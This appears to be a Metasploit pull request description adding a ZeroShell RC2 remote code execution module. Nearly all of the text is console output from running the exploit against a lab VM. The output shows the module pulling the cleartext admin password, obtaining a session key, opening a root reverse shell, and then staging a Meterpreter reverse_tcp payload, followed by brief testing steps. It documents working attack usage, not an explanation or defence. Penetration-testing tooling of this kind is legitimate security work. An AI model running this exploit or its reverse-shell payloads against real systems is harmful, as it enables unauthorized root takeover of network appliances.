rapid7/metasploit-framework — pull request #2409 by xistence (2013-09-22 08:16:08+00:00)
Title: added ZeroShell RC2 RCE

ZeroShell RC2 Remote Code Execution

msf > use exploit/unix/webapp/zeroshell_exec
msf exploit(zeroshell_exec) > set RHOST 192.168.2.116
RHOST => 192.168.2.116
msf exploit(zeroshell_exec) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.116:80 - Retrieving cleartext admin password
[*] 192.168.2.116:80 - Password retrieved [ zeroshell ]
[*] 192.168.2.116:80 - Logging in and retrieving session key
[*] 192.168.2.116:80 - Session key retrieved [ 2f336d552c5cf209265b2417936a2c6270b19ba9 ]
[*] Command shell session 4 opened (192.168.2.22:4444 -> 192.168.2.116:38216) at 2013-09-22 13:18:08 +0700
[*] Command Stager progress - 100.00% done (1445/1445 bytes)

id
uid=0(root) gid=0(root) groups=0(root)

msf exploit(zeroshell_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(zeroshell_exec) > set LHOST 192.168.2.22
LHOST => 192.168.2.22
msf exploit(zeroshell_exec) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.116:80 - Retrieving cleartext admin password
[*] 192.168.2.116:80 - Password retrieved [ zeroshell ]
[*] 192.168.2.116:80 - Logging in and retrieving session key
[*] 192.168.2.116:80 - Session key retrieved [ 4f532b131b0631f36ee013b7c88f645031e291bb ]
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.2.116
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.116:38298) at 2013-09-22 14:34:40 +0700

[*] Command Stager progress - 100.00% done (850/850 bytes)

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0

The exploit uses the new CmdStagerEcho which is really awesome! :)

How to test:

Download ZeroShell RC2 iso from http://www.zeroshell.org/download/
Boot a VM with the ISO. Configure an IP adress.
Run the exploit :)